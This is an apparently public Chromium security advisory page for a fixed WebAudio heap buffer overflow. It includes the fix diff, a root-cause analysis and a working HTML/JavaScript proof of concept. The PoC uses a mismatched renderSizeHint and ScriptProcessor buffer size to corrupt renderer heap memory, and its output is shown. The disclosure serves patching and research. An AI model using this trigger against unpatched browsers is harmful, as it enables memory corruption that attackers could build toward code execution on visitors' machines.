Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactHeap buffer overflow in WebAudio
DescriptionHeap buffer overflow in WebAudio
ComponentWebAudio
Bug ClassOOB
Tracker485397284
Fix commitc37e6cf89f8b (chromium/src) +12/-9
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Disclosed2026-03-23

Changed Functions

FunctionChangeNotes
for
third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
modified

Files Changed

  • third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
From c37e6cf89f8b01bb15fae19531d06b78adad3820 Mon Sep 17 00:00:00 2001
From: Michael Wilson <[email protected]>
Date: Mon, 09 Mar 2026 20:12:51 -0700
Subject: [PATCH] Replace UNSAFE_TODO in ScriptProcessorHandler with safe operations

This should cause no functional change.

Bug: 401184803
Bug: 485397284
Change-Id: I6d664988d0b82d3db8773e5b2e2c222dc51c46cb
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7644812
Commit-Queue: Michael Wilson <[email protected]>
Reviewed-by: Hongchan Choi <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1596801}
---

diff --git a/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc b/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
index d41dbcc..aec337a8 100644
--- a/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
+++ b/third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
@@ -170,9 +170,12 @@
     for (uint32_t i = 0; i < number_of_input_channels_; ++i) {
       internal_input_bus_->SetChannelMemory(
           i,
-          UNSAFE_TODO(
-              static_cast<float*>(shared_input_buffer->channels()[i].Data()) +
-              buffer_read_write_index_),
+          reinterpret_cast<float*>(
+              shared_input_buffer->channels()[i]
+                  .ByteSpan()
+                  .subspan(buffer_read_write_index_ * sizeof(float),
+                           frames_to_process * sizeof(float))
+                  .data()),
           frames_to_process);
     }
 
@@ -181,12 +184,12 @@
     }
 
     for (uint32_t i = 0; i < number_of_output_channels_; ++i) {
-      float* destination = output_bus->Channel(i)->MutableData();
-      const float* source = UNSAFE_TODO(
-          static_cast<float*>(shared_output_buffer->channels()[i].Data()) +
-          buffer_read_write_index_);
-      UNSAFE_TODO(
-          memcpy(destination, source, sizeof(float) * frames_to_process));
+      as_writable_bytes(
+          base::allow_nonunique_obj,
+          output_bus->Channel(i)->MutableSpan().first(frames_to_process))
+          .copy_from(shared_output_buffer->channels()[i].ByteSpan().subspan(
+              buffer_read_write_index_ * sizeof(float),
+              frames_to_process * sizeof(float)));
     }
   }
 
Loading diff…

Original Bug Report

reported by [email protected]

Heap Buffer Overflow in ScriptProcessorHandler::Process via Configurable Render Quantum Leads to Out-of-Bounds Read and Write

Summary

The ScriptProcessorHandler::Process method in Chromium’s WebAudio implementation indexes into SharedAudioBuffer backing stores using a rolling buffer_read_write_index_ that advances by frames_to_process (the render quantum size) each quantum. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active, renderSizeHint can be set to a value that does not evenly divide the ScriptProcessor’s bufferSize, causing buffer_read_write_index_ + frames_to_process to exceed the buffer length on the second and subsequent quanta. The only guard is a DCHECK assertion that is compiled out of release builds. The resulting out-of-bounds write copies attacker-controlled audio data (up to 1016 bytes) past the input buffer’s ArrayBuffer backing store into the adjacent slot in PartitionAlloc’s ArrayBuffer partition, and a symmetric out-of-bounds read copies up to 1016 bytes from past the output buffer’s backing store into the rendered audio stream. This is a renderer-process memory corruption primitive reachable from any web page that registers for the Origin Trial.

Root Cause

The ScriptProcessorHandler constructor creates an internal_input_bus_ whose frame count equals renderQuantumSize, and stores double-buffered SharedAudioBuffer objects that wrap the JavaScript-visible AudioBuffer backing stores. Each SharedAudioBuffer channel holds exactly bufferSize floats (for bufferSize = 256, this is 1024 bytes), allocated through Partitions::ArrayBufferPartition():

// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
ScriptProcessorHandler::ScriptProcessorHandler(
    AudioNode& node, float sample_rate, uint32_t buffer_size,
    uint32_t number_of_input_channels, uint32_t number_of_output_channels,
    const HeapVector<Member<AudioBuffer>>& input_buffers,
    const HeapVector<Member<AudioBuffer>>& output_buffers)
    : AudioHandler(NodeType::kNodeTypeScriptProcessor, node, sample_rate),
      buffer_size_(buffer_size),
      number_of_input_channels_(number_of_input_channels),
      number_of_output_channels_(number_of_output_channels),
      internal_input_bus_(AudioBus::Create(number_of_input_channels,
                                           node.context()->renderQuantumSize(),
                                           false)) {
  // ...
  for (uint32_t i = 0; i < 2; ++i) {
    shared_input_buffers_.push_back(
        input_buffers[i] ? input_buffers[i]->CreateSharedAudioBuffer() : nullptr);
    shared_output_buffers_.push_back(
        output_buffers[i] ? output_buffers[i]->CreateSharedAudioBuffer() : nullptr);
  }
}

The Process method uses SetChannelMemory to point internal_input_bus_ into the shared input buffer at offset buffer_read_write_index_, then calls CopyFrom to write audio data there. It also performs a memcpy from the shared output buffer at the same offset into the output bus. The only protection against out-of-bounds access is a DCHECK on buffers_are_good, which is stripped from release builds:

// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
void ScriptProcessorHandler::Process(uint32_t frames_to_process) {
  // ...
  bool buffers_are_good =
      shared_output_buffer &&
      BufferSize() == shared_output_buffer->length() &&
      buffer_read_write_index_ + frames_to_process <= BufferSize();

  // ...
  DCHECK(buffers_are_good);  // Compiled out in release!

  // Input side: OOB write
  for (uint32_t i = 0; i < number_of_input_channels; ++i) {
    internal_input_bus_->SetChannelMemory(
        i,
        static_cast<float*>(shared_input_buffer->channels()[i].Data()) +
            buffer_read_write_index_,
        frames_to_process);
  }
  if (number_of_input_channels) {
    internal_input_bus_->CopyFrom(*input_bus);
  }

  // Output side: OOB read
  for (uint32_t i = 0; i < number_of_output_channels; ++i) {
    float* destination = output_bus->Channel(i)->MutableData();
    const float* source =
        static_cast<float*>(shared_output_buffer->channels()[i].Data()) +
            buffer_read_write_index_;
    memcpy(destination, source, sizeof(float) * frames_to_process);
  }

  buffer_read_write_index_ =
      (buffer_read_write_index_ + frames_to_process) % BufferSize();
}

After SetChannelMemory, internal_input_bus_->CopyFrom(*input_bus) calls AudioBus::Zero() followed by AudioBus::SumFrom(). AudioChannel::Zero() performs memset(raw_pointer_, 0, sizeof(float) * length_) where raw_pointer_ points to shared_input_buffer + buffer_read_write_index_ and length_ is frames_to_process. AudioChannel::SumFrom then calls AudioChannel::CopyFrom which performs memcpy(MutableData(), source_channel->Data(), sizeof(float) * length()). Both operations write frames_to_process floats starting at offset buffer_read_write_index_ in a buffer of only BufferSize() floats:

// third_party/blink/renderer/platform/audio/audio_channel.h
void Zero() {
  if (silent_) return;
  silent_ = true;
  if (mem_buffer_.get()) {
    mem_buffer_->Zero();
  } else {
    memset(raw_pointer_, 0, base::CheckMul(sizeof(float), length_).ValueOrDie());
  }
}
// third_party/blink/renderer/platform/audio/audio_channel.cc
void AudioChannel::CopyFrom(const AudioChannel* source_channel) {
  if (source_channel->IsSilent()) { Zero(); return; }
  memcpy(MutableData(), source_channel->Data(),
         base::CheckMul(sizeof(float), length()).ValueOrDie());
}

The ScriptProcessorNode constructor validates that bufferSize is a power of two from the set {256, 512, 1024, 2048, 4096, 8192, 16384}, and clamps it upward if it is smaller than renderQuantumSize, but it never checks that bufferSize is evenly divisible by renderQuantumSize:

// third_party/blink/renderer/modules/webaudio/script_processor_node.cc
if (buffer_size < context.renderQuantumSize()) {
  buffer_size = context.renderQuantumSize();
}

With renderSizeHint = 255 and bufferSize = 256, the divisibility check BufferSize() % frames_to_process == 0 (guarded only by DCHECK_EQ which is stripped from release) fails because 256 % 255 = 1. The buffer_read_write_index_ progresses as follows: quantum 1 sets the index to (0 + 255) % 256 = 255; quantum 2 then attempts to write 255 floats starting at offset 255 in a 256-float buffer, overflowing by 254 floats (1016 bytes). Every subsequent quantum similarly overflows because gcd(255, 256) = 1 means the index cycles through all values 0 through 255 without repeating, and only the single quantum where the index is 0 avoids overflow.

The critical insight regarding attack surface is that WebAudioConfigurableRenderQuantum is registered as an Origin Trial in Chromium’s runtime enabled features configuration:

// third_party/blink/renderer/platform/runtime_enabled_features.json5
{
  name: "WebAudioConfigurableRenderQuantum",
  origin_trial_feature_name: "WebAudioConfigurableRenderQuantum",
  status: "experimental",
}

This means an attacker does not need Chrome flags or command-line switches to enable this feature. They can register their domain for the Origin Trial, embed the trial token in a <meta> tag, and any stable Chrome user visiting the page will have the feature activated.

Reproduce

The following proof of concept demonstrates the heap buffer overflow through cross-contamination between the input and output SharedAudioBuffers. An AudioBufferSourceNode filled with the distinctive marker value 1337.0 is connected to a ScriptProcessor with bufferSize = 256 in an OfflineAudioContext with renderSizeHint = 255. During rendering, the input-side out-of-bounds write copies 1337.0 past the input buffer into the adjacent output buffer. On quantum 4 (when buffer_read_write_index_ reaches 253), the output-side read encounters the contaminated region of the output buffer and copies the marker value into the rendered audio stream. If the overflow did not occur, the rendered output would contain only zeros (since the onaudioprocess handler never writes to the output buffer), making any non-zero value at the expected position conclusive evidence of cross-buffer heap corruption.

Save the following as poc_scriptprocessor_oob.html and run with:

ASAN_OPTIONS=detect_odr_violation=0 /path/to/chrome --headless --no-sandbox --disable-gpu --enable-blink-features=WebAudioConfigurableRenderQuantum --dump-dom "file:///path/to/poc_scriptprocessor_oob.html"

Note: the --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead. AddressSanitizer does not detect this overflow because V8 Sandbox disables memory tool instrumentation for ArrayBuffer partition allocations; the cross-contamination technique below proves the overflow through its observable side effect on rendered audio data.

<!DOCTYPE html>
<html>
<body>
<pre id="log"></pre>
<script>
function log(msg) {
  document.getElementById('log').textContent += msg + '\n';
  console.log(msg);
}

async function trigger() {
  try {
    log("[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC");
    log("[*]");
    log("[*] Theory:");
    log("[*]   PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]");
    log("[*]   Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots");
    log("[*]");
    log("[*]   Q1 (idx=0):   input write [0..254] OK, output read [0..254] OK");
    log("[*]   Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]");
    log("[*]                  output read [255..509] OOB -> reads input[1] (zeros)");
    log("[*]   Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!");
    log("[*]");

    var MARKER = 1337.0;

    var ctx = new OfflineAudioContext({
      numberOfChannels: 1,
      length: 48000,
      sampleRate: 48000,
      renderSizeHint: 255
    });
    log("[*] renderQuantumSize = " + ctx.renderQuantumSize);

    var srcBuf = ctx.createBuffer(1, 48000, 48000);
    srcBuf.getChannelData(0).fill(MARKER);
    var src = ctx.createBufferSource();
    src.buffer = srcBuf;

    var sp = ctx.createScriptProcessor(256, 1, 1);
    sp.onaudioprocess = function(e) {};

    src.connect(sp);
    sp.connect(ctx.destination);
    src.start();

    log("[*] Rendering 48000 samples (~188 quanta)...");
    var buf = await ctx.startRendering();
    var data = buf.getChannelData(0);
    log("[*] Render complete. Scanning for marker " + MARKER + "...");
    log("");

    var found = 0;
    var positions = [];
    for (var i = 0; i < data.length; i++) {
      if (Math.abs(data[i] - MARKER) < 0.01) {
        found++;
        if (positions.length < 30) positions.push(i);
      }
    }

    if (found > 0) {
      log("[!] ============================================");
      log("[!]  OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION");
      log("[!] ============================================");
      log("[!] Found " + found + " samples with marker value " + MARKER);
      log("[!] First 30 positions: " + positions.join(", "));
      log("[!]");
      log("[!] Expected first marker at sample 765 (Q4 start = 255*3)");
      log("[!] Actual first marker at sample " + positions[0]);
      log("[!]");
      log("[!] Proof:");
      log("[!]   1. AudioBufferSourceNode outputs " + MARKER);
      log("[!]   2. ScriptProcessor input OOB WRITE wrote " + MARKER);
      log("[!]      past input_buffer[0] into adjacent output_buffer[0]");
      log("[!]   3. Later quantum read output_buffer[0] at contaminated offset");
      log("[!]   4. Contaminated value appeared in rendered audio output");
      log("[!]   5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed");
    } else {
      log("[*] No marker found (input[0] and output[0] may not be adjacent)");
    }

  } catch (e) {
    log("[!] " + e.name + ": " + e.message);
  }
}

trigger();
</script>
</body>
</html>

Output from execution confirms the heap buffer overflow through cross-contamination:

[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC
[*]
[*] Theory:
[*]   PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]
[*]   Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots
[*]
[*]   Q1 (idx=0):   input write [0..254] OK, output read [0..254] OK
[*]   Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]
[*]                  output read [255..509] OOB -> reads input[1] (zeros)
[*]   Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!
[*]
[*] renderQuantumSize = 255
[*] Rendering 48000 samples (~188 quanta)...
[*] Render complete. Scanning for marker 1337...

[!] ============================================
[!]  OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION
[!] ============================================
[!] Found 17265 samples with marker value 1337
[!] First 30 positions: 765, 1020, 1021, 1275, 1276, 1277, 1530, 1531, 1532, 1533, 1785, 1786, 1787, 1788, 1789, 2040, 2041, 2042, 2043, 2044, 2045, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2550, 2551
[!]
[!] Expected first marker at sample 765 (Q4 start = 255*3)
[!] Actual first marker at sample 765
[!]
[!] Proof:
[!]   1. AudioBufferSourceNode outputs 1337
[!]   2. ScriptProcessor input OOB WRITE wrote 1337
[!]      past input_buffer[0] into adjacent output_buffer[0]
[!]   3. Later quantum read output_buffer[0] at contaminated offset
[!]   4. Contaminated value appeared in rendered audio output
[!]   5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed

The marker value 1337.0 first appears at sample 765, which corresponds exactly to quantum 4 (index 255 * 3 = 765). This is the first quantum where the output-side read reaches a region of the output buffer that was previously corrupted by the input-side out-of-bounds write two quanta earlier. The progressive pattern of contamination (1 marker at Q4, 2 at Q5, 3 at Q6, and so on, accumulating to 17265 contaminated samples) matches the theoretical model precisely: each advancing quantum exposes one additional corrupted float as buffer_read_write_index_ decrements toward the start of the output buffer. The presence of 1337.0 in the rendered audio output is impossible without the input-side memcpy/memset writing past the end of input_buffer[0] into the adjacent output_buffer[0], confirming that ScriptProcessorHandler::Process performs a heap buffer overflow of up to 1016 bytes on every render quantum when bufferSize is not evenly divisible by renderQuantumSize.

Additionally, running the same PoC on a Chromium build with dcheck_always_on=true immediately triggers a fatal assertion on the very first render quantum, confirming that the developers intended the divisibility invariant but only enforced it with a debug-only check:

FATAL:third_party/blink/renderer/modules/webaudio/script_processor_handler.cc:164
DCHECK failed: BufferSize() % frames_to_process == 0u (1 vs. 0)

This DCHECK verifies that BufferSize() (256) is evenly divisible by frames_to_process (255), which yields a remainder of 1. In release builds this assertion is compiled out entirely, allowing execution to proceed into the out-of-bounds memory access path without any runtime check.

View on issue tracker